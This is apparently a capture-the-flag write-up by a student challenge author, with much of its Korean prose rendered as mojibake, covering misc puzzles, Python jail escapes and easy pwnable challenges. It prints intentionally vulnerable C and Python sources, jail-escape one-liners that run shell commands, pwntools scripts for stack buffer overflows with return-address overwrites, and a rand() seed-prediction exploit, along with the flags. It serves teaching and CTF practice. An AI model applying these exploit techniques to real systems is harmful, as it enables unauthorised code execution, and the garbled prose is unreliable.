# Intro.
์๋ ํ์ธ์. ํ๊ตญ๋์งํธ๋ฏธ๋์ด๊ณ ๋ฑํ๊ต 23๊ธฐ ์น ํ๋ก๊ทธ๋๋ฐ๊ณผ์ ์ฌํ์ค์ด๊ณ , ํดํน๋์๋ฆฌ STEALTH์์ ํดํน์ ๊ณต๋ถํ๊ณ
์๋ pandas, ๊น์ค์์ ๋๋ค.

2025.03.05~2025.03.26, ์ ํํ 3์ฃผ๊ฐ ์งํ๋ "๋๋ฏธ๊ณ 24๊ธฐ ์ ์ ์ ๋์ CTF"๋ฅผ ์ฃผ์ตํ๋ฉฐ ์ ๊ฐ ์ถ์ ํ ๋ชจ๋ ๋ฌธ์ ์ ๋ํ ํ์ด ๋ฐฉ๋ฒ, ์ฆ Write Up์ ๊ณต์ ํ๋๋ก ํ๊ฒ ์ต๋๋ค. ๋ฌธ์ ์ ์ ๋๊ธฐ, ์์ด๋์ด, ๋ฌธ์ ์ทจ์ฝ์ , ์ ์ ํ์ด, ํ๊ธฐ ๋ฑ๋ฑ์ ๋ด์ฉ ์ ๋ถ๋ฅผ ๊ณต์ ํ๋๋ก ํ๊ฒ ์ต๋๋ค
CTF ์ด์์ ์ฌ์ ์ค๋น์ ์ด์์ค ์ด์์ง๋ค๊ณผ์ ์์๋ ๋ชจ๋ ์ผ๋ค์ ๊ณต๊ฐํ๊ธฐ๋ก ํฉ์๊ฐ ๋์ง ์์์ผ๋, CTF ์ด์์ ๊ดํ ๋ด์ฉ์ ์ ์ด๋์ง ์์ ์ ์ฐธ๊ณ ๋ฐ๋๋๋ค.
Misc์ pwnable ์ดํฉ 9๋ฌธ์ ๋ฅผ ์ถ์ ํ์์ต๋๋ค
๊ฐ์คํ๊ณ ๋ฐ๋ก ํ์ด ๋ค์ด๊ฐ๊ฒ ์ต๋๋ค
๋งํฌ ์ด์ง ๋ฐ๊พธ๊ฒ ์ต๋๋ค,,,
# 0x01. Can You See M3? - MISC - easy
solve : 57 / score : 100

- ์ ์ ๋ฐฐ๊ฒฝ
์ ๊ฐ ์ฒ์ MISC๋ก ์ถ์ ํ ๋ฌธ์ ์ด๋ค
H4CKING GAME์ https://h4ckingga.me/challenges#Season1%20:%20Paint-16์ด ๋ฌธ์ ๋ฅผ ๋ณด๊ณ ์์ด๋์ด๋ฅผ ์ป์๋ค
๋น์ ์ paint๋ฌธ์ ๋ฅผ ํ์์ ๋, ๋์ด๋๋ ์ฝ๊ณ , ํ์ด ๋ฐฉ์์ด ์ฐธ์ ํด์ ์ด ๋ฌธ์ ๋ฅผ ๋ด์ผ๊ฒ ๋ค๋ผ๊ณ ์๊ฐํ๋ค
- ๋ฌธ์ ํ์ผ

- ํ์ด
๋ค์ํ ํ์ด๊ฐ ์กด์ฌํ๋์ง๋ ๋ชจ๋ฅด๊ฒ ์ง๋ง, ์ฌ์ง ํธ์งํด์ ํธ๋๊ฒ ์ธํ ์ด๋ค



Windows์ [์ฌ์ง]์์ ๊ทธ๋ฅ ์กฐ์ ๋ง ํด์ฃผ์๊ณ , ๋ฐ๊ธฐ + ๋ ธ์ถ + ๋๋น๋ง ์ฌ๋ ค์ฃผ๋ฉด ํ๋๊ทธ๊ฐ ๋ณด์ธ๋ค
DIMI{1_C4N_S2e_Fl4g}
- ํ๊ธฐ
๋ง์ด ํ์ด์ฃผ์ ์ ๊ฐ์ฌํฉ๋๋ค. ๊ฐ์ฌํฉ๋๋ค
์ถ์ ํ๊ณ ๋ณด๋ Fl4G์์ l์ด 1์ธ์ง L์ ์๋ฌธ์์ธ์ง ๊ตฌ๋ถ์ด ์กฐ๊ธ ์ด๋ ค์ธ ์ ์๋ค๊ณ ์๊ฐํ์ง๋ง, ์ด์ ๋๋ ๋ช๋ฒ ์ฐ์ด๋ณด๋ฉด ๋ ๊ฑฐ๋ผ๊ณ ์๊ฐํ๊ณ ๋์ด๊ฐ์ต๋๋ค
# 0x02. GIT HUB - Misc - easy
solve : 58 / score : 100

- ์ ์ ๋ฐฐ๊ฒฝ
์ด ๋ฌธ์ ๋ ๋ํ ๊ฐ์ต ์ง์ ๋ง๋ค์๋ค
Misc๋ฅผ ๋ ๋ง๋ค์๋ ๋ง์ ๋ถ๋ด๋ถ๋ด ์๊ฐํด๋ธ๊ฑด๋ฐ, commit message๋ฅผ ์ฌ์ฉํด์ ๋ฌธ์ ๋ฅผ ๋ง๋ค์ด๋ ์ฌ๋ฏธ์๊ฒ ๋ค๋ ์๊ฐ์ ๋ง๋ค์๋ค
๊ทธ๋ฅ ์ด๊ฑด Mic Check์ ์ด์ด์ ์ ์๋ฅผ ์ฃผ๋ ๋ฌธ์ ์๋ค
- ๋ฌธ์
https://github.com/rlajunwon/2025-DIMI-CTF ์ด๊ฒ ๋ฌธ์ ์ด๋ค
- ํ์ด

๋ญ๊ฐ ํ๋๊ทธ๋ ์๋ณด์ธ๋ค
์ปค๋ฐ์ด ๋ช๊ฐ ์์ผ๋ ์ฐ์ธก ์๋จ์ [3 Commits]๋ฅผ ๋๋ฌ๋ณธ๋ค


์ด๊ฑด ๊ทธ๋ฅ github์ ๋ํด์ ๋ค์ด๋ง ๋ด๋ ๊ธ๋ฐฉ ํ ์ ์๋ ๋ฌธ์ ์๋ค
DIMI{D0_you_kn0w?_h0w_toooooooooo_us2_g1t_hub???}
- ํ๊ธฐ
์ฌ์ค ๋์ถฉ ๋ง๋ ๋ฌธ์ ์๊ณ , ๋์ถฉ ํ๋ฉด ๋๋ ๋ฌธ์ ์ด๋ ๊ทธ๋ฆฌ ์ ์ฐฉ์ด ๊ฐ๋ ๋ฌธ์ ๋ ์๋์๋ค
๊ทธ๋ฅ ๋ ๋จน, ์ ์์ฃผ๋ ๋ฌธ์ ์๋ค
# 0x03. DIMI JAIL - Misc - easy
solve : 9 / score : 424

- ์ ์ ๋ฐฐ๊ฒฝ
์๋ ์ด ๋ฌธ์ ๋ ๋ด๊ฐ ๋ผ ์๊ฐ์ด ์๋์๋๋ฐ, ํ๋ "MISC๋ฅผ ๋ ๋ฌ๋ผ"๋ ๋ง์ด ๋์์ 20๋ถ๋ง์ ๊ธํ๊ฒ ๋ง๋ ๋ฌธ์ ๋ค
๊ทธ๋์ ๋ฌธ์ ๊ฐ ์ข ์๋ชป๋์๋ค
- ๋ฌธ์ ํ์ผ
--Dockerfile๊ณผ flag๋ ๊ตณ์ด ์ธ๊ธ ์ํจ--
# prob.py
print("I want to go HOME!!")
print("escape DIMI JAIL - 1!!")
command = input(">> ")
ban_list = [
'flag', 'exec', 'system', 'eval', 'os', 'print', 'input', 'open', 'compile', 'globals', 'locals', 'vars', 'dir',
'getattr', 'setattr', 'delattr', 'import', '__import__', 'sys',
'socket', 'shutil', 'thread', 'threading', 'importlib', 'ctypes',
'inspect', 'builtins', 'exit', 'quit',
'mro', '__class__', '__globals__', '__code__',
'__base__', '__func__', '__dict__', '__closure__'
]
if command in ban_list:
print("Wait...what???")
print("such a bad word!!!")
quit()
else:
exec(command)
- ํ์ด
์ฌ์ค ๊ทธ๋ฅ pyjail ๋ธ๋ก๊ทธ์ ์๋ ์ฝ๋ ๋น์ทํ๊ฒ ๋ค๊ณ ์จ๋ค๊ณ ํ๋๋ฐ, ๊ธํ๊ฒ ๋ง๋๋๋ผ ํํฐ๋ง์ด ์๋์๋ค๊ณ ํ๋ค
# import os; os.system("cat flag")
ํํฐ๋ง์ด ์๋๋ ๊ทธ๋ฅ ์ด๋ ๊ฒ ๋ซ๋ฆฐ๋ค,,,,;;

DIMI{1_W4nt_t0_2scap3!!_3์๋ฌ์ธ๋ฐ___์ง๊ฐ๊ณ ์ถ์ด์}
# 0x04. DIMI JAIL revenge - Misc - easy
solve : 8 / score : 559

- ์ ์ ๋ฐฐ๊ฒฝ
๋น ๋ฅด๊ฒ ๋ค๋ฅธ ์ถ์ ์ง๋ค์ ๋์์ ๋ฐ์์ revenge๋ก ๋ง๋ค์๋ค
์๋๋ ๋ด๊ฐ ๋ธ ๋ฌธ์ ๋ฅผ ์ญ์ ํ๋ ค๊ณ ํ์ง๋ง, ์ด๋ฏธ ํ์ด์๊ฐ ๋์์,,ใทใท, ์ด์ฉ ์ ์์ด revenge๋ฅผ ๋ง๋ค์๋ค
- ๋ฌธ์ ํ์ผ
# prob.py
print("I want to go HOME!!")
print("escape DIMI JAIL - 1!!")
command = input(">> ")
ban_list = [
'flag', 'exec', 'system', 'eval', 'os', 'print', 'input', 'open', 'compile', 'globals', 'locals', 'vars', 'dir',
'getattr', 'setattr', 'delattr', 'import', '__import__', 'sys',
'socket', 'shutil', 'thread', 'threading', 'importlib', 'ctypes',
'inspect', 'builtins', 'exit', 'quit',
'mro', '__class__', '__globals__', '__code__',
'__base__', '__func__', '__dict__', '__closure__'
]
if command in ban_list:
print("Wait...what???")
print("such a bad word!!!")
quit()
else:
exec(command)
- ํ์ด
pyjail์ ์ข๋ง ๊ตฌ๊ธ๋ง ํด๋ ํ๋ฆด ๊ฒ ๊ฐ๊ธด ํ๋ค
๊ทธ๋ฆฌ๊ณ ํ์ด ๋ฐฉ๋ฒ์ด ๊ต์ฅํ ๋ค์ํด์ ๊ผญ ์ธํ !์ด๋ผ๊ณ ๊ณ ์งํ ๊ฒ๋ ์๊ธด ํ์ง๋ง, ๋ด๊ฐ ์๊ฐํ ํ์ด๋
# import subprocess; subprocess.call(["cat", "./flag"])
subprocess๋ก ํธ๋๊ฑธ ์ํ๋ค

DIMI{์ฃ์กํฉ๋๋ค__์๋_๋ฌธ์ ์_์ธ์ธํ _ํ์ด์_์ฝ๋๋ฅผ_์๋ชป์ง์_์ด์ํ์ต๋๋ค__์ฃ์กํฉ๋๋ค}
- ํ๊ธฐ
๋ํ ๋ง๋ฐ์ง๋ผ ์ ์ ์ ๋!๋ฐ๋ก ์์ฐจ๋ ค์ ํฐ ์ค์๋ฅผ ํด๋ฒ๋ ธ๋ค
์ด ์๋ฆฌ์์ ์ฌ๊ณผ์ ๋ง์์ ๋ค์ ๋๋ฆฌ๋ฉฐ, ์์ผ๋ก๋ ๊ฒ์๋ฅผ ๊ผผ๊ผผํ ํ๊ฒ ๋ค๋ ๋ง์๊ฐ์ง์ผ๋ก ๋ฌธ์ ์ถ์ ํ๊ฒ ์ต๋๋ค,,,,
# 0x05. ๊ฐ๋ํ PANDAS - Misc - easy
solve : 16 / score : 100

- ์ ์ ๋ฐฐ๊ฒฝ
์ด ๋ฌธ์ ๋ ๊ฝค๋ ์ ์ฐฉ์ด ๊ฐ๋ ๋ฌธ์ ์ด๋ค
Misc๋ฌธ์ ์์ 'ํน์ ๊ธ์ก์ ์ป๊ธฐ ์ํด์ ์์๋ฅผ ์ ๋ ฅํ๋ค๋์ง, ์์ฒญ ํฐ์๋ก overflow๋ฅผ ์ผ์ผํค๋ค๋์ง'ํ๋ ๋ฌธ์ ๋ฅผ ์ข ์ข ๋ณธ์ ์ด ์๋ค
์ด๋ฐ ๋ฌธ์ ๋ฅผ Misc๋ฅผ ๋ด๋ฉด ์ข๊ฒ ๋ค๋ ์๊ฐ์ ํ๊ธด ํ์ง๋ง, ๋๋ฐ? ์ด๋ ๊ฒ ํ๋ฉด 'PANDAS์ ์ํํ๊ฐ'๋ฌธ์ ์ ๊ฒน์น ๊ฒ ๊ฐ์์ ๋ณด๋ฅํ๋ค
(TooooooMI) ๊ทธ๋ฌ๋ ์ค, ํ์๊ฐ ๋ฐฉํ์ ์ฌํ์ ๊ฐ๋๋ฐ, ํค์ค์คํฌ๋ก ์ฃผ๋ฌธ์ ํ๋์ค "N๋นต"์ด๋ผ๋ ๊ธฐ๋ฅ์ ๋ณด๊ณ "์ฌ๋์ด ์์ฒญ ๋ง์๋ฐ, int๋ก ํ์ ์ ๊ด๋ฆฌํ๋ค๋ฉด???" ์ด๋ผ๋ ์๊ฐ์ด ๋ฌ๊ณ , ์ด๋ฅผ ํ์ฉํด์ ๋ฌธ์ ๋ฅผ ๋ด์ผ๊ฒ ๋ค๋ ์๊ฐ์ ํ๋ค
์์์ ์ค์๋ง์ ๋ฐ๋ก ๋๋ฑ ํ๋กํ ํ์ ์ ๋ง๋ค๊ณ ์์งํ ๋ฌธ์ ์๋๋ค๊ณ ๊ฐํํ๋ค
์ฌํ๊น์ง ๊ฐ์ DIMI CTF ๋ฌธ์ ๋ผ ์๊ฐ์ ํ๋ค๋ ์ ์์ ๊ธฐ์ต์ ๋จ์๋ค
- ๋ฌธ์ ํ์ผ
# prob.py
import random
class PandasRestaurant:
def __init__(self):
with open("flag", "r") as f:
self.flag = f.read().strip()
self.current_menu_list = []
self.ordered_menu = []
self.total_prize = 0
def start_menu(self):
print()
print("[1] Rules")
print("[2] Menu")
print("[3] Order")
print("[4] Pay")
def rule(self):
print("================== Goals ==================")
print("Your goal is to make PANDAS pay nothing")
print("if PANDAS pay NOTHING, PANDAS will give present for you!")
print("GOOD LUCK :D!")
print("===========================================\n")
def menu(self):
food = [
"Hamburger","Pizza","Pasta","Salad","Sandwich","Steak",
"Fried Chicken","Tacos","Hot Dog","Sushi","Spaghetti",
"Fish and Chips","Grilled Cheese","Burrito","Ramen",
"Curry","Noodles","French Fries","Waffles","Pancakes"
]
menu_list = [0] * random.randint(3, random.randint(5, 8))
for i in range(len(menu_list)):
menu_list[i] = (
food[random.randint(0, len(food)-1)],
random.randint(1, 9)*10
)
print(f"{i+1} - {menu_list[i][0]} : {menu_list[i][1]}$")
return menu_list
def order(self):
self.people = int(input("> How many people? : "))
if self.people <= 0:
print("Are You Ghost??")
quit()
self.ordered_menu = []
while True:
select = int(input("> What do you want? : "))
if select > len(self.current_menu_list) or select <= 0:
print("Error")
quit()
else:
self.ordered_menu.append(self.current_menu_list[select-1])
print(f"{self.current_menu_list[select-1][0]} - {self.current_menu_list[select-1][1]}$ Ordered\n")
if input("> Do you need more? [y/n] : ") == "n":
break
def pay(self):
self.total_prize = sum(item[1] for item in self.ordered_menu)
print(f"> Total prize is {self.total_prize}$")
self.pandas_prize = int(self.total_prize/self.people)
print(f"# Pandas prize is {self.pandas_prize}$")
if self.pandas_prize == 0:
print("WOW! Pandas don't need to pay!!")
print(self.flag)
quit()
else:
print("No...Pandas is poor")
quit()
def run(self):
while True:
self.start_menu()
start_menu_select = int(input(" > "))
if start_menu_select == 1:
self.rule()
elif start_menu_select == 2:
self.current_menu_list = self.menu()
elif start_menu_select == 3:
if not self.current_menu_list:
print("View menu [2] first!")
else:
self.order()
elif start_menu_select == 4:
self.pay()
else:
print("Error")
quit()
if __name__ == "__main__":
prob = PandasRestaurant()
prob.run()
- ํ์ด
๋ฌธ์ ์ฝ๋๊ฐ ๋๋ฝ๋ค
์ฌ์ค ํ๋กํ ํ์ ์ 10์ค๋ก ๋๋ฌ๋๋ฐ, ๊ทธ๋ฌ๋ฉด ์ทจ์ฝ์ ์ด ๋๋ฌด ์ ๋ณด์ฌ์ ์ผ๋ถ๋ก class๋ ์ฐ๊ณ , ํจ์๋ ์ฐ๊ณ ๋ก์ง์ ๋๋ฝ๊ฒ ๊ตฌํํด๋์๋ค
ํ์ด๋ ๊ฐ๋จํ๋ค
์ฌ๋์ 99999999999๋ช ์ ๋ ๋๋ ค์ค๊ณ , ๋ฉ๋ด๋ฅผ ์๋ฌด๊ฑฐ๋ 1๊ฐ ์ํค๋ฉด ๋๋ค
(pandas price) = int((menu price) / (people))๋ก ๊ณ์ฐ๋๋ ๊ฐ๊ฒฉ์ด 0.xxxxx์ด ๋์ด๋, 0์ผ๋ก ์ฒ๋ฆฌ๊ฐ ๋๋ค
์ฝ๊ฐ ์2์ ๊ทนํ์ด๋ผ๊ณ ์๊ฐํ๋ฉด ํธํ๋ค

DIMI{W0w!!_Good_J0b!!_๋ฌธ์ _์ฝ๋๊ฐ_๋๋ฝ์ฃ ?_์ด์งํผ_์ ๊ฐ_๋ถ์ํ ๊ฒ_์๋๊ฑฐ๋ ์ใ ใ _์์์ _ํค์ค์คํฌ์์_์ฃผ๋ฌธํ๋ค๊ฐ_์ด_๋ฌธ์ ์_์์ด๋์ด๊ฐ_๋ ์ฌ๋๋ต๋๋ค_h4HAh4_์ด์_๋ฌธ์ _tmi์์ต๋๋ค}
- ํ๊ธฐ
์ผ๋ถ๋ก class, def, self, logic์ ๋๋ฝ๊ฒ ๊ตฌํํ๋ค๋ณด๋ ์๊ฐ๋ณด๋ค ํ์ด์๊ฐ ์ ์๋ค
์ด๋ฐ ๋ฌธ์ ๋ ๊ทธ๋ฅ ์คํ์์ผ๋ณด๋ฉด์ ํธ๋๊ฒ ๊ฐ์ฅ ์ข์ ๊ฒ ๊ฐ๋ค
๋ํ flag๊ฐ ์๋นํ ๊ธธ๋ค
TMI๋ฅผ ๋ฃ๋ค๋ณด๋, ๊ธธ์ด์ก๊ณ , ์ด๋ก ์ธํด์ ํ๋๊ทธ๊ฐ 2์ค์ ๊ฑธ์ณ์ ์ถ๋ ฅ๋ ์, ๊ณต๋ฐฑ์ด ์ถ๊ฐ๋์ด flag์ธ์ฆ์ด ์๋๋ ๋ฌธ์ ๋ ๋ฐ์ํ๋ค
์ด๋์ ๋ด๊ฐ ๋ฐ์ ํฐ์ผ๋ง,,,์ข ๋ง์๋ค,,,
๋ค์๋ถํฐ๋ ํ๋๊ทธ ๊ธธ์ด๋ฅผ ์งง๊ฒ ์ ๋นํ ํด์ผ๊ฒ ๋ค
# 0x06. SYSTEM - PWN - easy
solve : 6 / score : 775

- ์ ์ ๋ฐฐ๊ฒฝ
pwnable์ ๋ํด์ ์๋ฌด๊ฒ๋ ๋ชฐ๋ผ๋ ํ ์ ์๋๋ก ๋ฌธ์ ๋ฅผ ์ถ์ ํ์๋ค
pwnable์ด ๊ถ๊ทน์ ์ผ๋ก ๋ฌด์์ ํ๋์ง, C์ธ์ด์์๋ ์ด๋ป๊ฒ ๊ตฌํํ๋์ง๋ง ์๊ณ ์์ผ๋ฉด ํ ์ ์๋ ์ฌ์ด ๋ฌธ์ ์ด๋ค
- ๋ฌธ์ ํ์ผ
dockerfile, flag๋ ํ์๋ ์๊ณ , prob ELFํ์ผ์ด ์ฃผ์ด์ง๋ค
์ด๋ฅผ ida๋ก ๋ถ์ํด๋ณด์

- ํ์ด
์ฝ๋๋ฅผ ๋ณด๋ฉด __isoc99_scanf๋ผ๋ ํจ์๋ ๊ทธ๋ฅ scanfํจ์์ด๋ค
๋ฐ๋ผ์ "์ ๋ ฅ์ ๋ฐ์ ๋ช ๋ น์ด๋ฅผ system()ํจ์๋ก ์คํํ๋ ํ๋ก๊ทธ๋จ"์ด๋ค
pwnable์ด ๋ฌด์์ธ๊ฐ? ๊ด๋ฆฌ์ ๊ถํ์ ํ๋ํ๋ ๊ฒ์ด๋ค
๊ทธ๋ผ ์ด๋ป๊ฒ ํ๋๊ฐ? system("/bin/sh")๋ฅผ ์คํํ๋ฉด ๋๋ค
๋ฐ๋ผ์ ์ ๋ ฅ์ /bin/sh๋ง ์ ๋ ฅํ๋ฉด ๋๋ค

DIMI{Sy2t2m_b1n_sh31l}
- ํ๊ธฐ
์ฌ์ค ์ด๊ฑด ์ง์ง ํ๋ผ๊ณ ๋ง๋ ๋ฌธ์ ์ธ๋ฐ, ์ด๋ ต๋ค๊ณ ํด์ ๋๋๋ค
BOF๊ฐ ๋ ๋ง์ด ํ๋ฆฐ๊ฒ ์ ๊ธฐ?ํ๋ค
์๋ง๋ c์ธ์ด ์ฝ๋๋ฅผ ์์ค์, IDA๋ก ๋์ปดํ์ผ ํ๋๋ฐ์ ๋ง์ด ์ด๋ ค์ํ๊ฒ ๊ฐ๋ค
C์ฝ๋๋ฅผ ์ ๊ณตํ์์ผ๋ฉด, mic check๊ธ ๋ ๋จน๋ฌธ์ ๊ฐ ๋์์ ๊ฒ ๊ฐ๋ค
# 0x07. EASY - PWN - easy
solve : 3 / score : 964

- ์ ์ ๋ฐฐ๊ฒฝ
pwnable์์ ๊ฐ์ฅ ์ฌ์ด ์ทจ์ฝ์ ์ด ๋ญ๊น? BOF์ rao์ด๋ค
๊ทธ๋์ ๊ทธ๊ฑธ ๊ทธ๋๋ก ๊ตฌํํ๋ค
- ๋ฌธ์ ํ์ผ
// prob.c
#include <stdio.h>
#include <unistd.h>
void Init() {
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
}
void exploit(){
execve("/bin/sh", 0, 0);
}
int main(){
char buf[0x10];
Init();
printf("==== Don't be afraid! PWNABLE is EASY!! ====\n");
scanf("%s", buf);
}
ELFํ์ผ๋ ์ค๋ค
๋ณดํธ๊ธฐ๋ฒ ๋ค ํด์ ํด์ ์ปดํ์ผ ํด์คฌ๋ค
- ํ์ด
buf์ 0x10๋งํผ ํ ๋นํ๋ค
scanf๋ก ์ ํ์์ด ์ ๋ ฅ์ ๋ฐ๋๋ค
scanf๋ ๊ฐํ ๋ฌธ์๋ฅผ ๋ง๋๊ธฐ ์ ๊น์ง ์ ๋ ฅ์ ๋ฐ์ผ๋ฏ๋ก, buf์ ํฐ ๊ฐ์ ์ ๋ ฅํ ์ ์๋ค
๋ฐ๋ผ์ Buffer Over Flow๊ฐ ํฐ์ง๊ณ , ์ดํ์ ret๋ฅผ ๋ณ์กฐํ ์ ์๋ค
์ ๋ฆฌํ๋ฉด
1. buf๋ 0x10๋งํผ ํ ๋น๋์๋ค
2. ํ์ง๋ง scanf๋ก ์ ํ ์์ด ์ ๋ ฅํ ์ ์๋ค
3. buf์ ํฐ ๊ฐ์ ์ ๋ ฅํ๊ฒ ๋๋ฉด, ์ดํ์ ํจ์์ ๋ฐํ ์ฃผ์๋ฅผ ๋ฐ๊ฟ ์ ์๋ค (ํ๋ก๊ทธ๋จ์ ์คํ ํ๋ฆ ์กฐ์ ๊ฐ๋ฅ)
4. ๊ทธ๋ผ ํจ์์ ๋ฐํ ์ฃผ๋ก๋ฅผ exploit()ํจ์๋ฅผ ๊ฐ๋ฆฌํค๋๋ก ํ๋ฉด ๊ถํ์ ์ป์ ์ ์๋ค
# exploit.py
from pwn import *
# p = process("./prob")
PORT = 31337
p = remote("dimictf.lol", PORT)
e = ELF("./prob")
context.arch = "amd64"
payload = b'A'*0x10
payload += b'B'*0x8
payload += p64(e.symbols['exploit'])
p.sendline(payload)
p.interactive()
A๋ก buf๋ฅผ ์ฑ์ ๊ณ , ์ดํ SFP๊ฐ์ ๋ฎ์ด์ฃผ์๋ค
SFP์ bof, rao์ ๋ํ ์ถ๊ฐ์ ์ธ ์ค๋ช ์ ์ฌ๊ธฐ์ ๋ค๋ฃจ์ง ์๊ฒ ๋ค (๋๋ฌด ๊ธธ์ด์ง)
(์ง๋ฌธ์ด ์๋ค๋ฉด? ๊ตฌ๊ธ๋ง or dreamhack or ๊ฐ๋ณ์ ์ผ๋ก DM plz)

DIMI{syst2m_H4ck1ng_1s_3asy!!}
- ํ๊ธฐ
์ BOF๋ฌธ์ ๋ ํธ๋๋ฐ EASY๋ ์?๋ชป?ํธ๋๊ฑฐ์ง??
์ BOF๋ฌธ์ ๋ ํธ๋๋ฐ EASY๋ ์?๋ชป?ํธ๋๊ฑฐ์ง??
์ BOF๋ฌธ์ ๋ ํธ๋๋ฐ EASY๋ ์?๋ชป?ํธ๋๊ฑฐ์ง??
๊ทธ๋๋ rao๋ฅผ ์๊ณ ์๋ ์ ์ ์๋ค์ด ์์ด์ ์ข์๋ค
# 0x08. PANDAS์ ์ํํ๊ฐ - PWN - easy
solve : 3 / score : 964

- ์ ์ ๋ฐฐ๊ฒฝ
๊ฐ์ฅ ์ ์ฐฉ์ด ๊ฐ ๋ฌธ์ ์ด๋ค
์ง์ง๋ก 24๋ 10์๋ถํฐ ์ด ๋ฌธ์ ๋ฅผ ๊ตฌ์ํด์, C์ธ์ด ์ํํ๊ฐ๋ก ์ ์ถํ์๋ค
๊ทธ๋ฆฌ๊ณ ์ทจ์ฝ์ ์ ์ด์ง ์จ๊ฒจ์ DIMI CTF์ ์ถ์ ํ์๋ค
5๊ฐ์ ์ ๋ถํฐ ๊ตฌ์ํ๊ณ , ๋ง๋ ๋ฌธ์ ๋ผ ๊ฐ์ฅ ์ ์ฐฉ์ด ๊ฐ ๋ฌธ์ ์ด๋ค
๋ํ 11์ STEALTH research์์๋ random crack์ ๊ณต๋ถํด์, random crack์ ํ์ฉํ๋ ๋ฌธ์ ์๋ค (์ธํ )
- ๋ฌธ์ ํ์ผ

๋ฌด์จ ํ์ผ์ด ๋ง๋ค
// prob.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#define goal 1048576
void Init(){
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void start(){
system("clear");
printf("Welcome To Random World!!\n");
printf("Your Goal is 1,048,576 score!\n");
printf("Good Luck,,,:D\n\n");
}
void correct(){
printf("!!!! Correct !!!!");
fflush(stdout);
}
void wrong(){
printf("!!!! NOPE !!!!");
fflush(stdout);
}
void point(int point){
char file_name[200];
sprintf(file_name, "number_list/%d.txt", point);
FILE *file = fopen(file_name, "r");
char line[256];
while(fgets(line, sizeof(line), file)){
printf("%s", line);
}
printf("\n\n\n");
fflush(stdout);
fclose(file);
}
void win(){
execve("/bin/sh", 0, 0);
}
int main(){
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
Init();
start();
srand(time(NULL));
int count=0, user_input, user_point=1, weight=1, correct_count=0, wrong_count=0;
while(1){
if(user_point>=goal){
printf("WoW! You Clear ALL Stage!!! - Enter Player's name for winning prize : ");
fflush(stdout);
char name[0x10];
scanf("%s", name);
printf("%s\n", name);
break;
} else {
int set_random = rand();
count++;
weight = 2 << correct_count;
if(weight < 2) weight = 2;
printf("[STAGE %d] (point*%d) - Your Point : %d\n", count, weight, user_point);
point(user_point);
printf("Guess random number (odd : 1, even : 0) : ");
fflush(stdout);
scanf("%d", &user_input);
if(user_input < 0 || user_input > 1){
printf("wrong input\n");
fflush(stdout);
break;
}
printf("\n> Your Guess is %s\n", (user_input==0?"EVEN":"ODD"));
fflush(stdout);
sleep(1);
printf("> hmmm......\n");
fflush(stdout);
sleep(1);
printf("> Computer's Choice is : %d (%d)\n", set_random % 2, set_random);
fflush(stdout);
if(user_input==set_random%2){
correct();
user_point *= weight;
correct_count++;
} else {
wrong();
wrong_count++;
user_point /= 4;
if(user_point<=0) user_point=1;
}
printf("\n\n");
fflush(stdout);
if(count % 3==0){
system("clear");
start();
}
}
}
return 0;
}
๋ณดํธ๊ธฐ๋ฒ ์ ๋ถ ํด์ , ELFํ์ผ ์ ๊ณต
- ํ์ด
๋จ์ํ๊ฒ ํ์ง ๋๋ฐ์ ํ๊ณ , ์ด๊ธฐ๋ฉด ์ ์๋ฅผ ๊ฐ์ค์น ๋งํผ ๊ณฑํด์ฃผ๊ณ , ํ๋ฆฌ๋ฉด 4๋ก ๋๋ ์ฃผ๋ ํ๋ก๊ทธ๋จ์ด๋ค
๋ง์ฝ์ ๋ชฉํ ์ ์๋ฅผ ์ฑ์ฐ๋ฉด ์ด๋ฆ์ ์ ๋ ฅํ๋๋ก ํด์ฃผ๋๋ฐ, ์ฌ๊ธฐ์ bof๊ฐ ํฐ์ง๊ณ , rao๋ก exploitํ๋ฉด ๋๋ค
์ ์ ํ์ด๋ random์ ์ ์ถํด์ 6๋ฒ๋ง์ ์ด๋ฆ์ ์ ๋ ฅํ๊ณ exploitํ๋ ๊ฑด๋ฐ, ์ธ์ธํ ํ์ด๋ ์กด์ฌํ๋ค
4๋ก ๋๋ ์ฃผ๋ฏ๋ก ๊ทธ๋ฅ ๊ณ์ ๋๋ฌํ ๋๊น์ง ๋ฌดํ ๋ฐ๋ณต์ ํ๋ ๊ฒ๋ ํ๋์ ๋ฐฉ๋ฒ์ด๋ค
์ ์ ํ์ด๋ฅผ ์ค๋ช ํ์๋ฉด,
๋ฌธ์ ํ์ผ์์ srand(time(0))์ผ๋ก seed๋ฅผ ์ค์ ํ๊ณ , seed๋ก random๊ฐ์ ๋ง๋ ๋ค
ํ์ง๋ง C์ธ์ด์ ๋์ ์์ฑ ๋ฐฉ์์ LCG๋ฐฉ์์ ์ฌ์ฉํ๊ณ , ์ด๋ seed๋ฅผ ์๊ณ ์์ผ๋ฉด random๊ฐ์ ์ ์ ์๋ค
seed๊ฐ ์๊ฐ ๊ธฐ๋ฐ์ด๋ฏ๋ก, ํ๋ก๊ทธ๋จ์ด ์์๋๋ ์๊ฐ์ ์๋ฉด random์ ์ ์ ์๋ค
python exploit์ ์์ฑํ๋๋ฐ, ctypes๋ก Linux์ ์๋ libc๋ฅผ ๋ถ๋ฌ์ค๊ณ python์ผ๋ก srand(time(0))๊ณผ rand()๋ฅผ ๊ตฌํํ๋ฉด ๋๋ค
์ฌ๊ธฐ์ libc๋ C์ธ์ด library๋ก c์์ ์ฐ์ด๋ ํจ์๋ค์ด ์๋ค
๊ทธ๋์ python์์ c์ธ์ด๋ฅผ ๊ทธ๋๋ก ๊ตฌํํ ์ ์๋ค
# exploit.py
from pwn import *
from ctypes import *
p = process("./prob")
e = ELF("./prob")
def slog(n, m): return success(" : ".join([n, hex(m)]))
libc = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(libc.time(0x00))
def crack():
random_crack = libc.rand()%2
p.sendlineafter(b") : ", str(random_crack).encode())
print(random_crack)
win = e.symbols['win']
for i in range(6):
crack()
payload = b"A"*0x30 + b"B"*0x8 + p64(win)
p.sendline(payload)
print(hex(win))
p.interactive()
์ด๊ฒ ์๋ํ ํ์ด์๋ค
